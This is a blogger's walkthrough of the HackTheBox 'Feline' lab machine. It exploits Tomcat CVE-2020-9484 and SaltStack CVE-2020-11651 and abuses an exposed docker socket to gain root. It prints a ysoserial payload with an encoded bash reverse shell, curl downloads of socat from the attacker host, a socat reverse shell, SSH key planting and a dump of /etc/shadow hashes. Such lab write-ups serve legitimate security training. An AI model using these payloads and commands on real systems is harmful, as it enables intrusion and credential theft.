HackTheBox Feline Writeup – 10.10.10.205

Hello there, welcome back to another HackTheBox writeup. Today I’m doing the new HTB machine called “Feline – 10.10.10.205” by MinatoTW & MrR3boot.

The machine is all about Apache Tomcat deserialization (CVE-2020-9484) vulnerability. Using the publicly available well-known exploit to gain RCE and ultimately a reverse shell to obtain the user flag.

On the road to the root, we discover another well-known SaltStack Salt vulnerability and exploiting it we gain another round of RCE and further enumeration discloses an exposed docker socket. Using this we expose the SSHD and write our own ssh key in to the machine’s authorized keys. Then, using the exposed SSHD, we port forward to connect to the docker instance and creating a temporary sock and then run our own docker container, mounting root file system into it to get the root.

Portscan

So as its being said, A journey of a thousand miles begins with a single step, I update the hosts file with machine IP 10.10.10.205 as feline.htb and proceed to port scan using namp.

root@nav1n:~/htb/feline # nmap -sC -sV -p- feline.htb  
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-31 19:31 +03
Nmap scan report for feline.htb (10.10.10.205)
Host is up (0.13s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http    Apache Tomcat 9.0.27
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: VirusBucket
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The nmap results came up, there are only 2 ports open. The port 8080 hosts a malware analysis service website called VirusBucket and as usual 22 an SSH service.

Enumerating Website

On the website there is nothing much information can be seen, but the Service tab seem to be interesting As per the comment on the page says, the malware analysis allows to upload all kinds of files and runs various tests to determine their nature and interaction. So it means the form takes no mater what type of file you upload and the engine scans various types of tests on it.

Initial Foothold and Getting User

As I started to test, the form actually takes anything, but I was not able to see where the uploaded file goes. What interested me is, the email input form takes any characters as email without sanitization, and sends to “/upload” and also interestingly the bank file upload as well triggers the message “Upload successful! The report will be sent via e-mail.”.

Going further I found, that the special characters like [ / | and \ triggers error “File upload failed”. Further, analyzing the form, I found the Java stack trace when an empty file name was uploaded. Interestingly, the stack traceback revealed the upload directory:

root@nav1n:~/htb/feline # curl -F 'image=@sample.txt;filename= ' 'http://feline.htb:8080/upload.jsp'<div id="error">
java.io.FileNotFoundException: /opt/samples/uploads (Is a directory)
	at java.base/java.io.FileOutputStream.open0(Native Method)
	at java.base/java.io.FileOutputStream.open(FileOutputStream.java:298)
	at java.base/java.io.FileOutputStream.<init>(FileOutputStream.java:237)
	at java.base/java.io.FileOutputStream.<init>(FileOutputStream.java:187)
	at org.apache.commons.fileupload.disk.DiskFileItem.write(DiskFileItem.java:394)
	at org.apache.jsp.upload_jsp._jspService(upload_jsp.java:205)
	at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:741)
	at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:476)
	at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:385)
	at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:329)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:741)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:202)
	at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
	at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:526)
	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:139)
	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)
	at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:678)
	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)
	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343)
	at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:408)
	at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
	at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861)
	at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1579)
	at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
	at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)
	at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)
	at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
	at java.base/java.lang.Thread.run(Thread.java:834)
</div>
root@nav1n:~/htb/feline # 
/opt/samples/uploads

Well the upload directory isn’t reachable so easily. So one of us found that the Apache Tomcat in the system is vulnerable to “CVE-2020-9484“. The vulnerability requirements are:

  1. The PersistentManager is enabled and it’s using a FileStore
  2. The attacker is able to upload a file with arbitrary content, has control over the filename and knows the location where it is uploaded (/upload.jsp)
  3. There are gadgets in the classpath that can be used for a Java deserialization attack.

While doing some research, I found a PoC written by masahiro311 in this GitHub page. To confirm the exploit works, I cloned the git and upload the groovy.session as suggested in the PoC.

root@nav1n:~/htb/feline # curl -F 'image=@groovy.session' -sS 'http://feline.htb:8080/upload.jsp'
File uploaded successfully!
root@nav1n:~/htb/feline # 

And then, run the exploit as per the PoC, this will trigger another Stack Trackeback and that confirms the vulnerability.

$ curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy'

Running Exploit:

Running the exploit hereby confirms the vulnerability as the app returns stack traceback.

root@nav1n:~/htb/feline # curl -sS 'http://feline.htb:8080/upload.jsp' -H 'Cookie: JSESSIONID=../../../opt/samples/uploads/groovy'
<!doctype html><html lang="en"><head><title>HTTP Status 500 – Internal Server Error</title><style type="text/css">h1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} h2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} h3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} body {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} b {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} p {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;} a {color:black;} a.name {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 500 – Internal Server Error</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Description</b> The server encountered an unexpected condition that prevented it from fulfilling the request.</p><p><b>Exception</b></p><pre>java.lang.NullPointerException	
	java.base&#47;java.lang.reflect.Method.invoke(Method.java:566)
	java.base&#47;java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1175)
	java.base&#47;java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2295)
	java.base&#47;java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2166)
	java.base&#47;java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1668)
	java.base&#47;java.io.ObjectInputStream.readObject(ObjectInputStream.java:482)
	java.base&#47;java.io.ObjectInputStream.readObject(ObjectInputStream.java:440)
	org.apache.catalina.session.StandardSession.doReadObject(StandardSession.java:1553)
	org.apache.catalina.session.StandardSession.readObjectData(StandardSession.java:1048)
	ersistentManagerBase.java:764)
	org.apache.catalina.session.PersistentManagerBase.swapIn(PersistentManagerBase.java:714)
	org.apache.catalina.session.PersistentManagerBase.findSession(PersistentManagerBase.java:493)
	org.apache.catalina.connector.Request.doGetSession(Request.java:2973)
	org.apache.catalina.connector.Request.getSessionInternal(Request.java:2693)
	org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:496)
	org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)
	org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:678)
	org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343)
	org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:408)
	org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
	org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861)
	org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1579)
	org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
	java.base&#47;java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)
	java.base&#47;java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)
	org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
	java.base&#47;java.lang.Thread.run(Thread.java:834)
</pre><p><b>Note</b> The full stack trace of the root cause is available in the server logs.</p><hr class="line" /><h3>Apache Tomcat/9.0.27</h3></body></html>
root@nav1n:~/htb/feline # 

What we know so far:

  • The machine is vulnerable to CVE-2020-9484 (Tomcat)
  • The Java Object Deserialization is the key

YSoSerial

When it comes to unsafe Java object deserialization, YSoSerial is the only tool most of us used to generate payloads. Let’s download YSoSerial (https://github.com/frohoff/ysoserial) Java jar file in order to run remote code execution. After download, I execute the Jar and below are available payloads:

root@nav1n:~/htb/feline # java -jar ysoserial-master-SNAPSHOT.jar 
Y SO SERIAL?
Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
  Available payload types:
Aug 31, 2020 9:25:03 PM org.reflections.Reflections scan
INFO: Reflections took 820 ms to scan 1 urls, producing 18 keys and 146 values 
     Payload             Authors                                Dependencies                                                                                                                                                                                        
     -------             -------                                ------------                                                                                                                                                                                        
     BeanShell1          @pwntester, @cschneider4711            bsh:2.0b5                                                                                                                                                                                           
     C3P0                @mbechler                              c3p0:0.9.5.2, mchange-commons-java:0.2.11                                                                                                                                                           
     Clojure             @JackOfMostTrades                      clojure:1.8.0                                                                                                                                                                                       
     CommonsBeanutils1   @frohoff                               commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2                                                                                                                               
     CommonsCollections1 @frohoff                               commons-collections:3.1                                                                                                                                                                             
     CommonsCollections2 @frohoff                               commons-collections4:4.0                                                                                                                                                                            
     CommonsCollections3 @frohoff                               commons-collections:3.1                                                                                                                                                                             
     CommonsCollections4 @frohoff                               commons-collections4:4.0                                                                                                                                                                            
     CommonsCollections5 @matthias_kaiser, @jasinner            commons-collections:3.1                                                                                                                                                                             
     CommonsCollections6 @matthias_kaiser                       commons-collections:3.1                                                                                                                                                                             
     CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1                                                                                                                                                                             
     FileUpload1         @mbechler                              commons-fileupload:1.3.1, commons-io:2.4                                                                                                                                                            
     Groovy1             @frohoff                               groovy:2.3.9                                                                                                                                                                                        
     Hibernate1          @mbechler                                                                                                                                                                                                                                  
     Hibernate2          @mbechler                                                                                                                                                                                                                                  
     JBossInterceptors1  @matthias_kaiser                       javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21                                            
     JRMPClient          @mbechler                                                                                                                                                                                                                                  
     JRMPListener        @mbechler                                                                                                                                                                                                                                  
     JSON1               @mbechler                              json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     JavassistWeld1      @matthias_kaiser                       javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21                                                        
     Jdk7u21             @frohoff                                                                                                                                                                                                                                   
     Jython1             @pwntester, @cschneider4711            jython-standalone:2.5.2                                                                                                                                                                             
     MozillaRhino1       @matthias_kaiser                       js:1.7R2                                                                                                                                                                                            
     MozillaRhino2       @_tint0                                js:1.7R2                                                                                                                                                                                            
     Myfaces1            @mbechler                                                                                                                                                                                                                                  
     Myfaces2            @mbechler                                                                                                                                                                                                                                  
     ROME                @mbechler                              rome:1.0                                                                                                                                                                                            
     Spring1             @frohoff                               spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE                                                                                                                                               
     Spring2             @mbechler                              spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2                                                                                                           
     URLDNS              @gebl                                                                                                                                                                                                                                      
     Vaadin1             @kai_ullrich                           vaadin-server:7.7.14, vaadin-shared:7.7.14                                                                                                                                                          
     Wicket1             @jacob-baines                          wicket-util:6.23.0, slf4j-api:1.6.4                                                                                                                                                                 
root@nav1n:~/htb/feline #     

Creating the Java Runtime.exec() Payload and the reverse shell

Out of all the payloads, I’m using “CommonsCollections2”. So, according to the PoC, the payload must end with “.session”.

RCE Command:

echo 'bash -i >& /dev/tcp/10.10.14.14/8899 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNC84ODg4IDA+JjEK

Payload:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNC84ODg4IDA+JjEK=}|{base64,-d}|{bash,-i}

Final Payload:

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNC84ODg4IDA+JjEK=}|{base64,-d}|{bash,-i}" > rce2.session

Uploading and executing the RS Command:

root@nav1n:~/htb/feline # curl -sS 'http://10.10.10.205:8080/upload.jsp' -F "image=@rce2.session" > /dev/null
root@nav1n:~/htb/feline # 

Running the listener:

root@nav1n:~/htb/feline # ncat -vl 10.10.14.14 8899

Executing the payload:

root@nav1n:~/htb/feline # curl -sS 'http://10.10.10.205:8080/upload.jsp' -H "Cookie: JSESSIONID=../../../opt/samples/uploads/rce2" > /dev/null

And we have the reverse shell as Tom Cat in our listener and the User flag was obtained from Tom Cat’s home directory.

Finding Services

As I have the user already pwned, I decided to move forward towards the root. Before doing any serious business I wanted to see the services running, because in normal cases finding the right service on right time would save hours.


tomcat@VirusBucket:/opt/tomcat/conf$ netstat -tuplna
netstat -tuplna
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:4505          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:4506          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:34107         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 10.10.10.205:42728      10.10.14.6:33123        ESTABLISHED 2445/sh             
tcp        0      1 10.10.10.205:48002      1.0.0.1:53              SYN_SENT    -                   
tcp        0     16 10.10.10.205:45080      10.10.14.14:8899        ESTABLISHED 2349/bash           
tcp6       0      0 127.0.0.1:8005          :::*                    LISTEN      952/java            
tcp6       0      0 :::8080                 :::*                    LISTEN      952/java            
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 10.10.10.205:8080       10.10.14.6:43690        TIME_WAIT   -                   
tcp6       0      0 10.10.10.205:8080       10.10.14.6:43686        TIME_WAIT   -                   
tcp6       0      0 10.10.10.205:8080       10.10.14.6:43682        TIME_WAIT   -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 127.0.0.1:37633         127.0.0.53:53           ESTABLISHED -                   
tomcat@VirusBucket:/opt/tomcat/conf$ 

As assumed, I found an interesting service running on the port 8000, upon curling I found the service to be CherryPy/18.6.0 running on the localhost.

From further enumeration, it looked like the port (8000) is probably running StaltStack. And a quick Googling, as well revealed “The Salt master uses ports 4505 and 4506, which must be opened to accept incoming connections”.

Saltstack 3000.1 – Remote Code Execution

Looking for “Salt” exploits, I found an exploit in Exploit-DB called “Saltstack 3000.1 – Remote Code Execution“. This exploit is for the SaltStack Salt vulnerabilities CVE-2020-11651 and CVE-2020-11652.

The PoC: https://github.com/jasperla/CVE-2020-11651-poc

The exploit can’t be used out of the box, this has to be run locally. For this purpose we need port forwarding. So, if you interested in the box’s name “feline” is another name for “cats” and the cat here is “SoCAT”. The “SoCat” is what we are going to use here for Port Forwarding.

So, I download the SoCat (https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat) and start my Python HTTPServer and Import the SoCat to TomCat’s local directory.

tomcat@VirusBucket:/opt/tomcat$ curl -sL http://10.10.14.14:8888/socat -o /opt/tomcat/conf/socat
<://10.10.14.14:8888/socat -o /opt/tomcat/conf/socat
tomcat@VirusBucket:/opt/tomcat$ 

Once imported, let us change the permission to executable and forwarding the port.

tomcat@VirusBucket:/opt/tomcat/conf$ chmod +x socat
chmod +x socat
tomcat@VirusBucket:/opt/tomcat/conf$ ls -la
ls -la
total 616
drwxr-xr-x  3 tomcat tomcat   4096 Aug 31 20:49 .
drwxr-xr-x 10 root   root     4096 Jun 16 11:50 ..
drwxr-x---  3 tomcat tomcat   4096 Jun 16 06:25 Catalina
-rw-r--r--  1 tomcat tomcat  13132 Oct  7  2019 catalina.policy
-rw-r--r--  1 tomcat tomcat   7420 Jun 16 06:53 catalina.properties
-rw-r--r--  1 tomcat tomcat   1830 Jun 16 06:30 context.xml
-rw-r--r--  1 tomcat tomcat   1172 Oct  7  2019 jaspic-providers.xml
-rw-r--r--  1 tomcat tomcat   2365 Oct  7  2019 jaspic-providers.xsd
-rw-r--r--  1 tomcat tomcat   4223 Oct  7  2019 logging.properties
-rw-r--r--  1 tomcat tomcat   7690 Jun 30 10:07 server.xml
-rwxr-x--x  1 tomcat tomcat 375176 Aug 31 20:49 socat
-rw-r--r--  1 tomcat tomcat   2208 Oct  7  2019 tomcat-users.xml
-rw-r--r--  1 tomcat tomcat   2691 Oct  7  2019 tomcat-users.xsd
-rw-r--r--  1 tomcat tomcat 177099 Oct  7  2019 web.xml
tomcat@VirusBucket:/opt/tomcat/conf$ 
tomcat@VirusBucket:/opt/tomcat/conf$ socat TCP-LISTEN:4506,reuseaddr,reuseport,fork,bind=10.10.10.205 TCP:127.0.0.1:4506 <reuseport,fork,bind=10.10.10.205 TCP:127.0.0.1:4506

Then, I run the exploit.

root@nav1n:~/htb/feline # python3 48421 --master 10.10.10.205 -f                            2 ↵
Traceback (most recent call last):
  File "48421", line 29, in <module>
    import salt
ModuleNotFoundError: No module named 'salt'
root@nav1n:~/htb/feline #    

Oh snap, the exploit doesn’t work without “Salt” dependency installed locally. By referring this (https://docs.saltstack.com/en/latest/topics/installation/ubuntu.html) and this (https://docs.saltstack.com/en/latest/topics/installation/ubuntu.html) articles I installed Salt in my Kali machine and proceed to run the exploit.

And running the exploit, the Root key was successfully obtained, this confirms the box is vulnerable to CVE-2020-11651.

root@nav1n:~/htb/feline # python3 48421 --master 10.10.10.205
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3001.1
[*] This version of salt does NOT appear vulnerable. Proceeding anyway as requested.
[+] Checking salt-master (10.10.10.205:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651... 
[*] root key obtained: wpTvsJ7rYfH7agaPn6vHSBCoLffLaxs7N+K0pRzMGYoifEykZHAv/ZrfmcHwe15GD64+mT428mU=
root@nav1n:~/htb/feline # 

Using SoCat To get Reverse Shell

As SoCat can be used to get reverse shell (ref: https://krober.biz/misc/reverse_shell.php?ip=127.0.0.1&port=8888) , So, import SoCat again to a temp directory using the exploit and run it.

root@nav1n:~/htb/feline # python3 48421 -f --master 10.10.10.205
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3001.1
[*] This version of salt does NOT appear vulnerable. Proceeding anyway as requested.
[+] Checking salt-master (10.10.10.205:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651... 
[*] root key obtained: wpTvsJ7rYfH7agaPn6vHSBCoLffLaxs7N+K0pRzMGYoifEykZHAv/ZrfmcHwe15GD64+mT428mU=
root@nav1n:~/htb/feline # python3 48421 -f --master 10.10.10.205 --exec "curl -L http://10.10.14.14:8888/socat -o /tmp/socat"
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3001.1
[*] This version of salt does NOT appear vulnerable. Proceeding anyway as requested.
[+] Checking salt-master (10.10.10.205:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651... 
[*] root key obtained: wpTvsJ7rYfH7agaPn6vHSBCoLffLaxs7N+K0pRzMGYoifEykZHAv/ZrfmcHwe15GD64+mT428mU=
[+] Attemping to execute curl -L http://10.10.14.14:8888/socat -o /tmp/socat on 10.10.10.205
[+] Successfully scheduled job: 20200831212225359026
root@nav1n:~/htb/feline # python3 48421 -f --master 10.10.10.205 --exec 'chmod a+x /tmp/socat; /tmp/socat exec:"bash -li",ptytcp:10.10.14.14:9898'  
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3001.1
[*] This version of salt does NOT appear vulnerable. Proceeding anyway as requested.
[+] Checking salt-master (10.10.10.205:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651... 
[*] root key obtained: wpTvsJ7rYfH7agaPn6vHSBCoLffLaxs7N+K0pRzMGYoifEykZHAv/ZrfmcHwe15GD64+mT428mU=
[+] Attemping to execute chmod a+x /tmp/socat; /tmp/socat exec:"bash -li",pty,stderr,setsid,sigint,sane tcp:10.10.14.14:9898 on 10.10.10.205
[+] Successfully scheduled job: 20200831212352767454
root@nav1n:~/htb/feline # 

Reverse Shell as Root

As soon as the exploit is executed, I got reverse shell as Root in my listener.

Well, hold it – it looks like we are trapped inside the docker container here.

12:hugetlb:/docker/2d24bf61767ce2a7a78e842ebc7534db8eb1ea5a5ec21bb735e472332b8f9ca2
11:memory:/docker/2d24bf61767ce2a7a78e842ebc7534db8eb1ea5a5ec21bb735e472332b8f9ca2
10:cpuset:/docker/2d24bf61767ce2a7a78e842ebc7534db8eb1ea5a5ec21bb735e472332b8f9ca2
9:pids:/docker/2d24bf61767ce2a7a78e842ebc7534db8eb1ea5a5ec21bb735e472332b8f9ca2
8:devices:/docker/2d24bf61767ce2a7a78e842ebc7534db8eb1ea5a5ec21bb735e472332b8f9ca2
7:freezer:/docker/2d24bf61767ce2a7a78e842ebc7534db8eb1ea5a5ec21bb735e472332b8f9ca2
6:blkio:/docker/2d24bf61767ce2a7a78e842ebc7534db8eb1ea5a5ec21bb735e472332b8f9ca2
5:perf_event:/docker/2d24bf61767ce2a7a78e842ebc7534db8eb1ea5a5ec21bb735e472332b8f9ca2
3:cpu,cpuacct:/docker/2d24bf61767ce2a7a78e842ebc7534db8eb1ea5a5ec21bb735e472332b8f9ca2
2:net_cls,net_prio:/docker/2d24bf61767ce2a7a78e842ebc7534db8eb1ea5a5ec21bb735e472332b8f9ca2
1:name=systemd:/docker/2d24bf61767ce2a7a78e842ebc7534db8eb1ea5a5ec21bb735e472332b8f9ca2
root@2d24bf61767c:~# 

There is a todo.txt file inside docker root directory, here what it reads:

root@2d24bf61767c:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@2d24bf61767c:~# ls
ls
todo.txt
root@2d24bf61767c:~# cat todo.txt
cat todo.txt
- Add saltstack support to auto-spawn sandbox dockers through events.
- Integrate changes to tomcat and make the service open to public.
root@2d24bf61767c:~# 

The Docker Socket is in /var/run/docker.sock – this shouldn’t be exposed, however to access the docker.sock, it should be accessible to the attacker. And another evil is the container is running SSHD. Running an SSH server in your containers, is a very bad practice.

The exposed Docker Socket can be exploited in several ways. So the plan is to create temporary docker container, which should clone the root files and read the Root flag. So, using the bad practices in the vulnerable machine let us try to expose ssh server. To perform this, I need to add my ssh key in to user Docker root’s authorized keys.

root@2d24bf61767c:~# echo "ssh-ed25519 AAAAC3N***********jt+X/d5tCSZhBM2 root@nav1n" > /root/.ssh/authorized_keys
<d5tCSZhBM2 root@nav1n" > /root/.ssh/authorized_keys
root@2d24bf61767c:~# cat /root/.ssh/authorized_keys
cat /root/.ssh/authorized_keys
ssh-ed25519 AAAAC3********2K99jt+X/d5tCSZhBM2 root@nav1n
root@2d24bf61767c:~# 

Then, local port from 127.0.0.1 port 8022 to local port 8888.

socat TCP-LISTEN:8888,bind=10.10.14.14,reuseaddr TCP-LISTEN:8022,bind=127.0.0.1,reuseaddr

Next, exposing the SSHD from docker.

root@2d24bf61767c:~# /tmp/socat TCP:127.0.0.1:22 TCP:10.10.14.14:8888
/tmp/socat TCP:127.0.0.1:22 TCP:10.10.14.14:8888

With the port forwarding is in place, let us forwarding the docker.sock to “/tmp/docker-copy.sock”.

root@nav1n:~/htb/feline # ssh -L /tmp/feline.sock:/var/run/docker-copy.sock -p 8022 root@127.0.0.1
Linux 2d24bf61767c 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@2d24bf61767c:~# 
root@nav1n:~/htb/feline # docker -H unix:///tmp/docker-copy.sock ps
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                                                                  NAMES
2d24bf61767c        188a2704d8b0        "/usr/bin/dumb-init …"   2 months ago        Up 8 hours          127.0.0.1:4505-4506->4505-4506/tcp, 22/tcp, 127.0.0.1:8000->8000/tcp   saltstack
root@nav1n:~/htb/feline # 
root@nav1n:~/htb/feline # docker -H unix:///tmp/docker-copy.sock images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
sandbox             latest              a24bb4013296        3 months ago        5.57MB
<none>              <none>              188a2704d8b0        4 months ago        1.06GB

So, finally mounting the root file system, give us the Root.

root@nav1n:~/htb/feline # docker -H unix:///tmp/feline.sock run -it --rm -v /:/mnt sandbox chroot /mnt
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@f5d06c402526:/# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)

That’s all, thank you for reading 🙂

root@1877ca3215fc:/# cat /etc/shadow
root:$6$XzluqBeUpIVqOvGi$1ngfZ.wa2hueUAkXFZjRZIyNxuQBboMC5319WC1lQcZORfGF6aKiG1mmnHaNnhFDTLeUknAre9ofC1KD/KvaU0:18430:0:99999:7:::
daemon:*:18375:0:99999:7:::
bin:*:18375:0:99999:7:::
sys:*:18375:0:99999:7:::
sync:*:18375:0:99999:7:::
games:*:18375:0:99999:7:::
man:*:18375:0:99999:7:::
lp:*:18375:0:99999:7:::
mail:*:18375:0:99999:7:::
news:*:18375:0:99999:7:::
uucp:*:18375:0:99999:7:::
proxy:*:18375:0:99999:7:::
www-data:*:18375:0:99999:7:::
backup:*:18375:0:99999:7:::
list:*:18375:0:99999:7:::
irc:*:18375:0:99999:7:::
gnats:*:18375:0:99999:7:::
nobody:*:18375:0:99999:7:::
systemd-network:*:18375:0:99999:7:::
systemd-resolve:*:18375:0:99999:7:::
systemd-timesync:*:18375:0:99999:7:::
messagebus:*:18375:0:99999:7:::
syslog:*:18375:0:99999:7:::
_apt:*:18375:0:99999:7:::
tss:*:18375:0:99999:7:::
uuidd:*:18375:0:99999:7:::
tcpdump:*:18375:0:99999:7:::
landscape:*:18375:0:99999:7:::
pollinate:*:18375:0:99999:7:::
sshd:*:18389:0:99999:7:::
systemd-coredump:!!:18389::::::
lxd:!:18389::::::
tomcat:$6$XFN8rDlg2vpDwUlR$5P8.iloA9sIgz1EDO5Z2hkxAW22ak0glc6pUh39Ye8NrLdguqkQEBZ6fe6JwlwVT5qIa8uQtvoenR1d5Qvhf20:18430:0:99999:7:::
dnsmasq:*:18443:0:99999:7:::
root@1877ca3215fc:/# 

Navin

Hey there, I'm Navin, a passionate Info-Sec enthusiast from Bahrain. I started this blog to share my knowledge. I usually write on HackTheBox machines and challenges, cybersecurity-related articles and bug-bounty. If you are an HTB user and like my articles, please respect here: Profile: https://www.hackthebox.eu/nav1n

View all posts by Navin →
Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments
Sorry, that action is blocked.